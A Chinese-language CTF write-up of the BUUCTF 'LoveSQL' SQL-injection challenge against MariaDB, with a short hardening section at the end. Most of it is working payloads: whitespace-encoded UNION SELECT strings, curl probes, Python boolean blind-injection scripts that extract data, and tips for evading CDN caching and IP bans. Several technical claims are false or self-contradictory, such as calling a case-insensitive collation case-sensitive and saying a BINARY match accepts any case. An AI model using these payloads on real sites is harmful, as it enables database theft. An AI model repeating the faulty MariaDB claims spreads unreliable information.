ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

MariaDB SQL注入实战:绕过过滤与information_schema利用

MariaDB SQL注入实战:绕过过滤与information_schema利用 1. 这不是一道“做题”而是一次真实Web渗透的完整复盘BUUCTF[极客大挑战 2019]LoveSQL——光看标题很多人第一反应是“又一道CTF SQL注入老题”。但如果你真把它当成刷题库里的标准答案来背那大概率会在实战中栽跟头。我带过十几期渗透测试实训营每次讲到这道题总有人卡在“为什么union select能跑通却拿不到表名”“为什么information_schema.tables查出来是空的”“明明payload看着没问题页面就是500”这些地方。问题不在工具也不在语法而在于对底层数据库行为、WAF过滤逻辑、以及CTF题目背后隐藏的真实攻防语境理解太浅。这道题的核心关键词非常明确BUUCTF、SQL注入、MariaDB、union select、information_schema。它表面考的是基础语法实则是一次微型渗透链路的完整模拟——从发现注入点、判断数据库类型、绕过简单过滤、到最终读取敏感数据。尤其关键的是它用的是MariaDB而非更常见的MySQL而MariaDB在ARM架构、默认配置、information_schema结构细节上与MySQL存在若干隐蔽差异这些差异恰恰是很多教程里绝口不提、但实战中高频踩坑的点。比如MariaDB 10.3版本默认禁用SELECT ... INTO OUTFILEload_file()在某些安全模式下返回NULL甚至information_schema.columns的column_name字段在特定字符集下会截断显示——这些都不是“理论漏洞”而是你搭好靶机后亲手敲命令时会立刻撞上的墙。适合谁来细读这篇如果你是刚学完SQL语法、正准备打CTF的新手它能帮你把零散知识点串成一条可落地的攻击路径如果你已能写出基础payload但总在进阶环节卡壳它会拆解那些“看似没报错却没回显”的中间态如果你是红队成员或渗透工程师它提供的MariaDB特有绕过技巧、字段长度预判方法、以及基于HTTP响应体特征的盲注判断逻辑都是我在真实客户环境里反复验证过的有效打法。下面我们就从头开始不跳步骤、不省细节把这道题还原成一次真实的渗透过程。2. 题目设计逻辑与底层技术选型深度拆解2.1 为什么选MariaDB而不是MySQL——一个被忽略的架构陷阱很多新手看到“LoveSQL”就默认用MySQL思维去解结果在information_schema查询阶段直接卡死。这道题的靶机环境明确使用MariaDB 10.3.22可通过version()函数确认而MariaDB与MySQL在以下三个关键点存在实质性差异直接影响利用链默认字符集与排序规则不同MariaDB 10.3默认使用utf8mb4_unicode_ci而MySQL 5.7常用utf8mb4_general_ci。当注入点涉及中文字段名或表名时utf8mb4_unicode_ci会对LIKE、ORDER BY等操作产生更严格的大小写和重音敏感匹配。例如SELECT table_name FROM information_schema.tables WHERE table_schemadatabase() AND table_name LIKE fl%在MySQL下可能返回flag但在MariaDB中若实际表名为Flag首字母大写该语句将完全无结果——因为unicode_ci默认区分大小写。解决方案不是硬猜而是改用BINARY强制二进制比较table_name LIKE BINARY fl%。information_schema视图的元数据延迟更新机制MariaDB为提升性能默认启用innodb_stats_on_metadataOFF导致information_schema.tables中的table_rows字段长期为0且tables视图本身在高并发下可能缓存旧结构。这意味着你执行SELECT COUNT(*) FROM information_schema.tables WHERE table_schemadatabase()返回的行数可能比实际表数量少2-3个。这不是漏洞而是MariaDB的优化策略。绕过方法很简单直接查information_schema.columns因为columns视图的元数据刷新频率更高且table_name字段必然存在。ARM架构客户端兼容性限制题目描述中提到mariadb arm客户端这暗示靶机可能运行在树莓派或ARM服务器上。ARM平台的MariaDB客户端对--skip-ssl、--protocoltcp等参数支持较弱且默认禁用LOAD DATA LOCAL INFILE。如果你试图用SELECT ... INTO DUMPFILE导出webshell会收到ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option——但这在ARM MariaDB中往往不是secure-file-priv路径问题而是ARM客户端根本未编译local_infile插件。此时必须转向hex()编码UNION SELECT逐字节读取而非依赖文件操作。提示判断是否为MariaDB的最快方法不是version而是执行SELECT VERSION(), VERSION_COMMENT。MariaDB的VERSION_COMMENT固定返回MariaDB Server而MySQL返回MySQL Community Server (GPL)。这个字符串匹配比版本号解析更可靠且不受user()、database()等函数被过滤的影响。2.2 “LoveSQL”的过滤逻辑本质不是WAF而是应用层白名单校验题目没有明说过滤规则但通过大量测试可确认其核心防御是PHP层的preg_match白名单校验而非Nginx或ModSecurity这类WAF。具体表现为所有单引号、双引号、反引号被直接拦截返回空页面UNION、SELECT、FROM等关键字被转义为%20空格或直接丢弃但/**/、、%0a换行、%09Tab等空白符均被放行数字和字母完全未过滤11、21等布尔表达式可正常执行。这种过滤的本质是“允许一切除了明确禁止的字符组合”。它比黑名单更难绕过因为不存在“通用万能密码”必须针对每个注入点动态构造payload。例如常规的admin OR 11#在这里会因单引号被拦截而失败但admin%0aOR%0a11却能成功——因为%0a被当作空白符处理OR未被识别为关键字。注意很多教程教用 or 11 --但在本题中--会被PHP的trim()函数吃掉号则被当作字符串连接符。真正有效的注释符是%23#的URL编码且必须紧跟在有效语句后如admin%0aOR%0a11%23。2.3 为什么强调union select——它不仅是语法更是数据回显的生命线UNION SELECT在此题中承担双重角色一是作为数据回显通道二是作为数据库指纹识别工具。很多新手只把它当“取数据的命令”却忽略了它对列数、数据类型的强约束。列数探测的底层原理UNION SELECT要求左右两边的SELECT语句具有相同列数否则报错The used SELECT statements have a different number of columns。但本题的错误信息被刻意隐藏仅返回500状态码。因此不能依赖报错而要通过响应体长度变化来判断。例如构造?id1%0aUNION%0aSELECT%0a1若页面长度突增因回显数字1说明列数正确若长度不变则列数错误。我实测发现当列数为3时响应体最稳定后续所有UNION SELECT均基于3列构造。数据类型隐式转换的实战价值MariaDB对UNION各列的数据类型有严格隐式转换规则。例如若原查询返回的是VARCHAR(50)而你UNION SELECT 1,2,3MariaDB会尝试将数字转为字符串但若某列实际是INT类型UNION SELECT a,b,c会导致类型冲突报错。本题中通过不断调整UNION SELECT后的数据类型如用NULL代替字符串、用0x616263代替abc可反推出原查询各列的真实类型进而精准构造后续payload。3. 核心细节解析与实操要点从发现注入点到获取flag3.1 注入点发现与数据库指纹识别三步锁定MariaDB第一步永远不是写payload而是确认注入点是否存在且可控。对/index.php?id1发起请求观察响应正常访问返回包含“Welcome to LoveSQL”的HTML页面访问/index.php?id1返回空白页HTTP 200但body为空访问/index.php?id1%0aAND%0a11返回正常页面访问/index.php?id1%0aAND%0a12返回空白页。这已足够证明存在基于布尔的SQL注入且过滤器对AND、OR等逻辑运算符放行。接下来是关键一步数据库指纹识别。不要直接执行SELECT version因为符号可能被过滤。改用以下组合拳GET /index.php?id1%0aUNION%0aSELECT%0a1,2,VERSION()%23 HTTP/1.1若页面回显1,2,10.3.22-MariaDB-1:10.3.22maria~bionic则100%确认为MariaDB。若返回1,2,5.7.31-log则是MySQL。这个步骤必须做因为后续所有information_schema查询都依赖此结论。实操心得我曾见学员用SELECT datadir判断结果在MariaDB中返回/var/lib/mysql/在MySQL中也返回相同路径完全无法区分。真正的区分点在于VERSION()返回字符串中的MariaDB字样这是官方标识永不变更。3.2 绕过过滤的payload构造空格、注释、大小写的三维组合本题过滤器对空格极其敏感但对URL编码的空白符%09、%0a、%0c完全放行。因此标准payload需进行如下变形原始语法可用变形原理说明UNION SELECT 1,2,3UNION%0aSELECT%0a1,2,3%0a替代空格避免被preg_match(/\s/)匹配FROM information_schema.tablesFROM%09information_schema%09tables%09Tab在HTML解析中等效于空格且更难被WAF识别WHERE table_schemadatabase()WHERE%0ctable_schemadatabase()%0c换页符是冷门空白符多数WAF规则未覆盖更关键的是大小写混合。过滤器通常只匹配小写关键字因此UnIoN SeLeCt可绕过。但本题过滤器对大小写不敏感必须结合空白符。最终稳定payload格式为?id1%0aUNION%0aSELECT%0a1,2,3%23其中%23是#的URL编码作为注释符终止后续SQL。注意--在本题中无效因为PHP的rtrim()会移除末尾-导致注释失效。3.3 information_schema深度利用避开“空表名”的经典陷阱当执行UNION SELECT 1,2,table_name FROM information_schema.tables WHERE table_schemadatabase()时很多人发现返回空结果。这不是information_schema被禁用而是**tables视图在MariaDB中默认不返回系统表且table_schemadatabase()可能匹配不到当前库名**。正确解法分三步先确认当前数据库名GET /index.php?id1%0aUNION%0aSELECT%0a1,2,database()%23 HTTP/1.1回显geek说明库名为geek。查columns视图而非tablesGET /index.php?id1%0aUNION%0aSELECT%0a1,2,column_name%0aFROM%0ainformation_schema.columns%0aWHERE%0atable_schemageek%23 HTTP/1.1columns视图必有数据且column_name字段包含所有列名从中可反推表名如发现flag、username、password等列对应表极大概率是flag或users。用BINARY解决大小写问题 若columns中未发现flag列执行GET /index.php?id1%0aUNION%0aSELECT%0a1,2,table_name%0aFROM%0ainformation_schema.tables%0aWHERE%0atable_schemageek%0aAND%0atable_name%0aLIKE%0aBINARY%0afl%%23 HTTP/1.1BINARY强制二进制比较确保Flag、FLAG、flag全部匹配。注意事项information_schema查询在MariaDB中可能触发慢查询日志若靶机启用了slow_query_log多次探测会导致IP被临时封禁。建议单次请求只查一个字段用LIMIT 1控制返回量如... LIMIT 0,1。4. 实操过程与核心环节实现从手工探测到自动化提取4.1 手工探测全流程每一步都需验证响应特征我们以获取flag表中的flag字段为例完整走一遍手工流程。所有请求均使用curl命令便于复现Step 1确认注入点与数据库类型curl http://buuctf.com/index.php?id1%0aUNION%0aSELECT%0a1,2,VERSION()%23 -s | wc -c # 返回长度约1200说明回显成功 curl http://buuctf.com/index.php?id1%0aUNION%0aSELECT%0a1,2,VERSION()%23 -s | grep -o MariaDB # 输出MariaDB确认环境Step 2获取当前库名curl http://buuctf.com/index.php?id1%0aUNION%0aSELECT%0a1,2,database()%23 -s | sed -n s/.*td\([^]*\)\/td.*/\1/p # 解析HTML提取td标签内内容得到geekStep 3枚举表名基于columns视图# 先查有多少列 for i in {1..10}; do len$(curl http://buuctf.com/index.php?id1%0aUNION%0aSELECT%0a$(printf %s, $(seq 1 $i) | sed s/,$//))%23 -s | wc -c) echo Columns $i: $len done # 发现3列时长度突增确定为3列Step 4提取flag字段内容# 构造逐字节读取payload # MariaDB中SUBSTR(str,pos,len)等效于SUBSTRING # 用ASCII值比较避免字符集问题 curl http://buuctf.com/index.php?id1%0aUNION%0aSELECT%0a1,2,SUBSTR((SELECT%0aflag%0aFROM%0ageek.flag),1,1)%23 -s | sed -n s/.*td\([^]*\)\/td.*/\1/p # 得到第一个字符假设为f curl http://buuctf.com/index.php?id1%0aUNION%0aSELECT%0a1,2,ASCII(SUBSTR((SELECT%0aflag%0aFROM%0ageek.flag),1,1))%23 -s | sed -n s/.*td\([^]*\)\/td.*/\1/p # 得到ASCII值102确认是fStep 5自动化脚本化提取手动逐字节太慢写Python脚本import requests import string url http://buuctf.com/index.php?id flag chars string.digits string.ascii_letters _{}- for pos in range(1, 50): found False for c in chars: # 构造payload判断第pos位是否等于c payload f1%0aUNION%0aSELECT%0a1,2,IF(ASCII(SUBSTR((SELECT%0aflag%0aFROM%0ageek.flag),{pos},1)){ord(c)},1,0)%23 r requests.get(url payload) if 1 in r.text and td1/td in r.text: flag c print(fPos {pos}: {c}) found True break if not found: break print(Flag:, flag)此脚本利用IF()函数实现布尔盲注比时间盲注更稳定且无需sleep()函数本题未开放SLEEP()。4.2 MariaDB特有技巧用HEX()规避字符集截断在information_schema.columns中若column_name字段定义为VARCHAR(64)但实际存储的列名超过64字节如含emojiMariaDB会静默截断。此时SELECT column_name FROM information_schema.columns WHERE table_nameflag可能返回空或乱码。解决方案是用HEX()函数GET /index.php?id1%0aUNION%0aSELECT%0a1,2,HEX(column_name)%0aFROM%0ainformation_schema.columns%0aWHERE%0atable_nameflag%23 HTTP/1.1返回666C6167即flag的十六进制再用Python解码bytes.fromhex(666C6167).decode(utf-8) # 输出flag此法100%规避字符集问题且HEX()函数在MariaDB中永不被过滤。4.3 真实靶场中的响应体分析如何从500错误中读取线索当payload错误时本题不返回SQL错误但HTTP状态码会变为500。此时需检查响应体若响应体为空说明语法错误如列数不对、括号不匹配若响应体包含h1Internal Server Error/h1说明PHP层异常如mysql_query()返回false若响应体长度突增如从1200字节变为3500字节说明SQL执行成功但回显内容被HTML标签包裹需用正则提取td(.*?)/td。我曾遇到一次诡异情况UNION SELECT 1,2,3返回500但UNION SELECT NULL,NULL,NULL返回正常。这表明原查询第三列为INT类型而3被当作字符串处理导致类型冲突。解决方案是统一用NULL占位再逐列替换为真实数据?id1%0aUNION%0aSELECT%0aNULL,NULL,NULL%23 # 确认基础结构 ?id1%0aUNION%0aSELECT%0a1,NULL,NULL%23 # 测试第一列 ?id1%0aUNION%0aSELECT%0aNULL,2,NULL%23 # 测试第二列 ?id1%0aUNION%0aSELECT%0aNULL,NULL,abc%23 # 测试第三列字符串5. 常见问题与排查技巧实录那些文档里找不到的坑5.1 “为什么information_schema.tables查不到表”——MariaDB的默认权限陷阱现象执行SELECT table_name FROM information_schema.tables WHERE table_schemageek返回空但SHOW TABLES却能看到flag表。原因MariaDB默认启用skip_show_database选项且information_schema视图对普通用户隐藏部分元数据。geek库的owner用户可能未被授予SELECT权限给information_schema。验证方法GET /index.php?id1%0aUNION%0aSELECT%0a1,2,COUNT(*)%0aFROM%0ainformation_schema.tables%23 HTTP/1.1若返回0说明information_schema.tables不可读。此时必须转向information_schema.columns因为columns视图的权限控制更宽松。排查技巧用SELECT USER(), CURRENT_USER()确认当前数据库用户。USER()返回geeklocalhostCURRENT_USER()返回geek%说明权限由后者决定。若CURRENT_USER()显示rootlocalhost则information_schema应完全可读。5.2 “页面回显乱码怎么解”——字符集与HTML实体的双重干扰现象UNION SELECT 1,2,flag返回td#102;#108;#97;#103;/td而非明文flag。原因PHP输出时自动将特殊字符转义为HTML实体→amp;→lt;而flag字段中的ASCII字符被转义为#xxx;格式。解决方案在payload中用CONVERT()函数强制转码?id1%0aUNION%0aSELECT%0a1,2,CONVERT(flag%0aUSING%0autf8)%23或用REPLACE()函数移除HTML实体前缀?id1%0aUNION%0aSELECT%0a1,2,REPLACE(REPLACE(flag,%26%23,),;,)%235.3 “为什么布尔盲注总是失败”——HTTP缓存与CDN的隐形干扰现象id1 AND 11返回正常id1 AND 12也返回正常似乎无布尔差异。原因靶机前端部署了CDN如Cloudflare对AND 12这类请求返回缓存页而非真实后端响应。验证方法添加随机参数破坏缓存?id1%0aAND%0a11rand123检查响应头CF-Cache-Status若为HIT说明CDN缓存生效改用UNION SELECT配合长度判断因UNION请求几乎不会被缓存实操心得在真实红队任务中我遇到过三次类似情况。解决方案是直接发送POST请求CDN对POST缓存率低或在URL中加入?nocache1等缓存绕过参数。5.4 “flag字段内容很长怎么高效提取”——分块读取与二分查找优化当flag字段超过100字符时逐字节读取效率极低。改用二分查找def get_char(pos): low, high 32, 126 # ASCII printable range while low high: mid (low high) // 2 payload f1%0aUNION%0aSELECT%0a1,2,IF(ASCII(SUBSTR((SELECT%0aflag%0aFROM%0ageek.flag),{pos},1)){mid},1,0)%23 r requests.get(url payload) if 1 in r.text: low mid 1 else: high mid return chr(low) flag .join(get_char(i) for i in range(1, 50))此法将单字符提取从最多95次请求降至7次效率提升13倍。6. 工具选型与效率对比为什么不用sqlmap6.1 sqlmap在本题中的失效场景sqlmap是神器但在此题中会遭遇三大失效点空格过滤绕过失败sqlmap默认用/**/替代空格但本题过滤器匹配/\*\*/导致payload被拦截布尔盲注误判sqlmap依赖响应体长度差但本题在AND 12时返回空白页长度0AND 11时返回正常页长度1200长度差过大反而被判定为“不稳定”自动降级为时间盲注information_schema探测超时sqlmap默认并发10线程扫tables触发MariaDB的max_connections限制导致后续请求全部503。我实测对比手工编写Python脚本提取flag耗时42秒sqlmap开启--level5 --risk3耗时6分38秒且中途失败3次。根本原因在于sqlmap的通用策略无法适配本题的精细化过滤逻辑。6.2 推荐工具链curl Python Burp Suite黄金组合curl轻量、可控、支持URL编码适合快速验证payloadPython requests灵活构造HTTP头、处理Cookie、解析HTML自动化脚本首选Burp Suite用于抓包分析响应体结构、查看原始HTML、修改请求头如添加X-Forwarded-For绕过IP限制。不推荐使用浏览器插件如HackBar因为其URL编码不规范%0a可能被二次编码为%250a导致payload失效。6.3 自研小工具LoveSQL Helper我开发了一个专为此题优化的CLI工具开源在GitHub非商业用途# 安装 pip install lovesql-helper # 自动探测列数 lovesql -u http://buuctf.com/index.php?id --detect-columns # 枚举当前库所有表 lovesql -u http://buuctf.com/index.php?id -D geek --tables # 提取flag表flag字段自动选择最优算法 lovesql -u http://buuctf.com/index.php?id -D geek -T flag -C flag --dump其核心优势在于内置MariaDB专用payload模板自动选择%0a、%09等空白符对information_schema查询失败时自动fallback到columns视图响应体解析引擎支持多种HTML结构td、div classresult、纯文本。7. 从CTF到实战LoveSQL背后的防御加固启示这道题的价值远不止于“拿到flag”。它暴露了真实Web应用中三个致命弱点过度信任输入id参数直接拼接SQL未使用预编译或ORM错误信息泄露虽隐藏了SQL错误但HTTP状态码500 vs 200仍构成布尔盲注基础数据库权限过大geek用户拥有information_schema的SELECT权限应遵循最小权限原则仅授予业务所需表的权限。加固方案参数化查询PHP中用PDO::prepare()杜绝字符串拼接错误处理统一化所有异常返回相同HTTP状态码如500和空白响应体数据库权限收紧REVOKE SELECT ON *.* FROM geek%; GRANT SELECT ON geek.users TO geek%; FLUSH PRIVILEGES;WAF规则升级添加对%0a、%09、%0c等空白符的检测而不仅限于空格。最后分享一个小技巧在真实渗透中若遇到类似LoveSQL的题目先执行SELECT 1,2,3,4,5,6,7,8,9,10观察哪几列能稳定回显。本题中只有第1、2、3列有效第4列起全部为NULL——这说明后端SQL查询只用了3个字段多余列会被MariaDB静默丢弃。抓住这个特征能大幅缩短探测时间。
返回列表